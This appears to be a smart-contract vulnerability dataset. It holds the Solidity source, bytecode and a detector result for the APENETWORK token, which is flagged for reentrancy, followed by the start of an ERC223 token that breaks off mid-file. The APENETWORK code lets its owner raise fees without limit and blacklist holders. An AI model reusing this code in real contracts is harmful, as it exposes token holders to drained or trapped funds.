| 4,228 |
0x0df52189972b8a5c0eee51476744272234ba3fb7
|
/**
*Submitted for verification at Etherscan.io on 2022-03-29
*/
/**
*Submitted for verification at Etherscan.io on 2022-03-25
*/
/**
SOCIALS :
🌐Website: https://apenetworkerc.com
🐦Twitter: https://twitter.com/apenetworketh?s=21
🗣Telegram: https://t.me/APENETWORKETH
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract APeNETWORK is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "APENETWORK";
string private constant _symbol = "APeN";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 500000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 10;
//Sell Fee
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 15;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x866848C8dD46481181D951AdD7370bb317c276E9);
address payable private _marketingAddress = payable(0x866848C8dD46481181D951AdD7370bb317c276E9);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000 * 10**9; // 0.5% MAX TRANSACTION
uint256 public _maxWalletSize = 2000000 * 10**9; // 1% MAX WALLET
uint256 public _swapTokensAtAmount = 100000 * 10**9; // 0.05% SWAP WALLET
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051d578063dd62ed3e1461053d578063ea1644d514610583578063f2fde38b146105a357600080fd5b8063a2a957bb14610498578063a9059cbb146104b8578063bfd79284146104d8578063c3c8cd801461050857600080fd5b80638f70ccf7116100d15780638f70ccf7146104155780638f9a55c01461043557806395d89b411461044b57806398a5c3151461047857600080fd5b806374010ece146103c15780637d1db4a5146103e15780638da5cb5b146103f757600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103575780636fc3eaec1461037757806370a082311461038c578063715018a6146103ac57600080fd5b8063313ce567146102fb57806349bd5a5e146103175780636b9990531461033757600080fd5b80631694505e116101a05780631694505e1461026857806318160ddd146102a057806323b872dd146102c55780632fd689e3146102e557600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023857600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ae9565b6105c3565b005b3480156101ff57600080fd5b5060408051808201909152600a8152694150454e4554574f524b60b01b60208201525b60405161022f9190611c13565b60405180910390f35b34801561024457600080fd5b50610258610253366004611a3f565b610670565b604051901515815260200161022f565b34801561027457600080fd5b50601454610288906001600160a01b031681565b6040516001600160a01b03909116815260200161022f565b3480156102ac57600080fd5b506706f05b59d3b200005b60405190815260200161022f565b3480156102d157600080fd5b506102586102e03660046119ff565b610687565b3480156102f157600080fd5b506102b760185481565b34801561030757600080fd5b506040516009815260200161022f565b34801561032357600080fd5b50601554610288906001600160a01b031681565b34801561034357600080fd5b506101f161035236600461198f565b6106f0565b34801561036357600080fd5b506101f1610372366004611bb0565b61073b565b34801561038357600080fd5b506101f1610783565b34801561039857600080fd5b506102b76103a736600461198f565b6107ce565b3480156103b857600080fd5b506101f16107f0565b3480156103cd57600080fd5b506101f16103dc366004611bca565b610864565b3480156103ed57600080fd5b506102b760165481565b34801561040357600080fd5b506000546001600160a01b0316610288565b34801561042157600080fd5b506101f1610430366004611bb0565b610893565b34801561044157600080fd5b506102b760175481565b34801561045757600080fd5b5060408051808201909152600481526320a832a760e11b6020820152610222565b34801561048457600080fd5b506101f1610493366004611bca565b6108db565b3480156104a457600080fd5b506101f16104b3366004611be2565b61090a565b3480156104c457600080fd5b506102586104d3366004611a3f565b610948565b3480156104e457600080fd5b506102586104f336600461198f565b60106020526000908152604090205460ff1681565b34801561051457600080fd5b506101f1610955565b34801561052957600080fd5b506101f1610538366004611a6a565b6109a9565b34801561054957600080fd5b506102b76105583660046119c7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058f57600080fd5b506101f161059e366004611bca565b610a58565b3480156105af57600080fd5b506101f16105be36600461198f565b610a87565b6000546001600160a01b031633146105f65760405162461bcd60e51b81526004016105ed90611c66565b60405180910390fd5b60005b815181101561066c5760016010600084848151811061062857634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066481611d79565b9150506105f9565b5050565b600061067d338484610b71565b5060015b92915050565b6000610694848484610c95565b6106e684336106e185604051806060016040528060288152602001611dd6602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111d1565b610b71565b5060019392505050565b6000546001600160a01b0316331461071a5760405162461bcd60e51b81526004016105ed90611c66565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107655760405162461bcd60e51b81526004016105ed90611c66565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b857506013546001600160a01b0316336001600160a01b0316145b6107c157600080fd5b476107cb8161120b565b50565b6001600160a01b03811660009081526002602052604081205461068190611290565b6000546001600160a01b0316331461081a5760405162461bcd60e51b81526004016105ed90611c66565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088e5760405162461bcd60e51b81526004016105ed90611c66565b601655565b6000546001600160a01b031633146108bd5760405162461bcd60e51b81526004016105ed90611c66565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109055760405162461bcd60e51b81526004016105ed90611c66565b601855565b6000546001600160a01b031633146109345760405162461bcd60e51b81526004016105ed90611c66565b600893909355600a91909155600955600b55565b600061067d338484610c95565b6012546001600160a01b0316336001600160a01b0316148061098a57506013546001600160a01b0316336001600160a01b0316145b61099357600080fd5b600061099e306107ce565b90506107cb81611314565b6000546001600160a01b031633146109d35760405162461bcd60e51b81526004016105ed90611c66565b60005b82811015610a52578160056000868685818110610a0357634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a18919061198f565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a4a81611d79565b9150506109d6565b50505050565b6000546001600160a01b03163314610a825760405162461bcd60e51b81526004016105ed90611c66565b601755565b6000546001600160a01b03163314610ab15760405162461bcd60e51b81526004016105ed90611c66565b6001600160a01b038116610b165760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ed565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bd35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ed565b6001600160a01b038216610c345760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ed565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ed565b6001600160a01b038216610d5b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ed565b60008111610dbd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ed565b6000546001600160a01b03848116911614801590610de957506000546001600160a01b03838116911614155b156110ca57601554600160a01b900460ff16610e82576000546001600160a01b03848116911614610e825760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ed565b601654811115610ed45760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ed565b6001600160a01b03831660009081526010602052604090205460ff16158015610f1657506001600160a01b03821660009081526010602052604090205460ff16155b610f6e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ed565b6015546001600160a01b03838116911614610ff35760175481610f90846107ce565b610f9a9190611d0b565b10610ff35760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ed565b6000610ffe306107ce565b6018546016549192508210159082106110175760165491505b80801561102e5750601554600160a81b900460ff16155b801561104857506015546001600160a01b03868116911614155b801561105d5750601554600160b01b900460ff165b801561108257506001600160a01b03851660009081526005602052604090205460ff16155b80156110a757506001600160a01b03841660009081526005602052604090205460ff16155b156110c7576110b582611314565b4780156110c5576110c54761120b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061110c57506001600160a01b03831660009081526005602052604090205460ff165b8061113e57506015546001600160a01b0385811691161480159061113e57506015546001600160a01b03848116911614155b1561114b575060006111c5565b6015546001600160a01b03858116911614801561117657506014546001600160a01b03848116911614155b1561118857600854600c55600954600d555b6015546001600160a01b0384811691161480156111b357506014546001600160a01b03858116911614155b156111c557600a54600c55600b54600d555b610a52848484846114b9565b600081848411156111f55760405162461bcd60e51b81526004016105ed9190611c13565b5060006112028486611d62565b95945050505050565b6012546001600160a01b03166108fc6112258360026114e7565b6040518115909202916000818181858888f1935050505015801561124d573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112688360026114e7565b6040518115909202916000818181858888f1935050505015801561066c573d6000803e3d6000fd5b60006006548211156112f75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ed565b6000611301611529565b905061130d83826114e7565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113be57600080fd5b505afa1580156113d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f691906119ab565b8160018151811061141757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260145461143d9130911684610b71565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611476908590600090869030904290600401611c9b565b600060405180830381600087803b15801561149057600080fd5b505af11580156114a4573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114c6576114c661154c565b6114d184848461157a565b80610a5257610a52600e54600c55600f54600d55565b600061130d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611671565b600080600061153661169f565b909250905061154582826114e7565b9250505090565b600c5415801561155c5750600d54155b1561156357565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061158c876116df565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115be908761173c565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ed908661177e565b6001600160a01b03891660009081526002602052604090205561160f816117dd565b6116198483611827565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161165e91815260200190565b60405180910390a3505050505050505050565b600081836116925760405162461bcd60e51b81526004016105ed9190611c13565b5060006112028486611d23565b60065460009081906706f05b59d3b200006116ba82826114e7565b8210156116d6575050600654926706f05b59d3b2000092509050565b90939092509050565b60008060008060008060008060006116fc8a600c54600d5461184b565b925092509250600061170c611529565b9050600080600061171f8e8787876118a0565b919e509c509a509598509396509194505050505091939550919395565b600061130d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d1565b60008061178b8385611d0b565b90508381101561130d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ed565b60006117e7611529565b905060006117f583836118f0565b30600090815260026020526040902054909150611812908261177e565b30600090815260026020526040902055505050565b600654611834908361173c565b600655600754611844908261177e565b6007555050565b6000808080611865606461185f89896118f0565b906114e7565b90506000611878606461185f8a896118f0565b905060006118908261188a8b8661173c565b9061173c565b9992985090965090945050505050565b60008080806118af88866118f0565b905060006118bd88876118f0565b905060006118cb88886118f0565b905060006118dd8261188a868661173c565b939b939a50919850919650505050505050565b6000826118ff57506000610681565b600061190b8385611d43565b9050826119188583611d23565b1461130d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ed565b803561197a81611dc0565b919050565b8035801515811461197a57600080fd5b6000602082840312156119a0578081fd5b813561130d81611dc0565b6000602082840312156119bc578081fd5b815161130d81611dc0565b600080604083850312156119d9578081fd5b82356119e481611dc0565b915060208301356119f481611dc0565b809150509250929050565b600080600060608486031215611a13578081fd5b8335611a1e81611dc0565b92506020840135611a2e81611dc0565b929592945050506040919091013590565b60008060408385031215611a51578182fd5b8235611a5c81611dc0565b946020939093013593505050565b600080600060408486031215611a7e578283fd5b833567ffffffffffffffff80821115611a95578485fd5b818601915086601f830112611aa8578485fd5b813581811115611ab6578586fd5b8760208260051b8501011115611aca578586fd5b602092830195509350611ae0918601905061197f565b90509250925092565b60006020808385031215611afb578182fd5b823567ffffffffffffffff80821115611b12578384fd5b818501915085601f830112611b25578384fd5b813581811115611b3757611b37611daa565b8060051b604051601f19603f83011681018181108582111715611b5c57611b5c611daa565b604052828152858101935084860182860187018a1015611b7a578788fd5b8795505b83861015611ba357611b8f8161196f565b855260019590950194938601938601611b7e565b5098975050505050505050565b600060208284031215611bc1578081fd5b61130d8261197f565b600060208284031215611bdb578081fd5b5035919050565b60008060008060808587031215611bf7578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c3f57858101830151858201604001528201611c23565b81811115611c505783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cea5784516001600160a01b031683529383019391830191600101611cc5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d1e57611d1e611d94565b500190565b600082611d3e57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d5d57611d5d611d94565b500290565b600082821015611d7457611d74611d94565b500390565b6000600019821415611d8d57611d8d611d94565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107cb57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f0d2e3069e7395316d515d0eb73fdfb69fea985f92fa1a65681acbccc34bc10e64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,229 |
0x44fD9aFA500CCEe59965FCCF49A6627347fE07fF
|
pragma solidity ^0.4.24;
contract ERC223Interface {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Contract that will work with ERC223 tokens.
*/
contract ERC223ReceivingContract {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data) public;
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
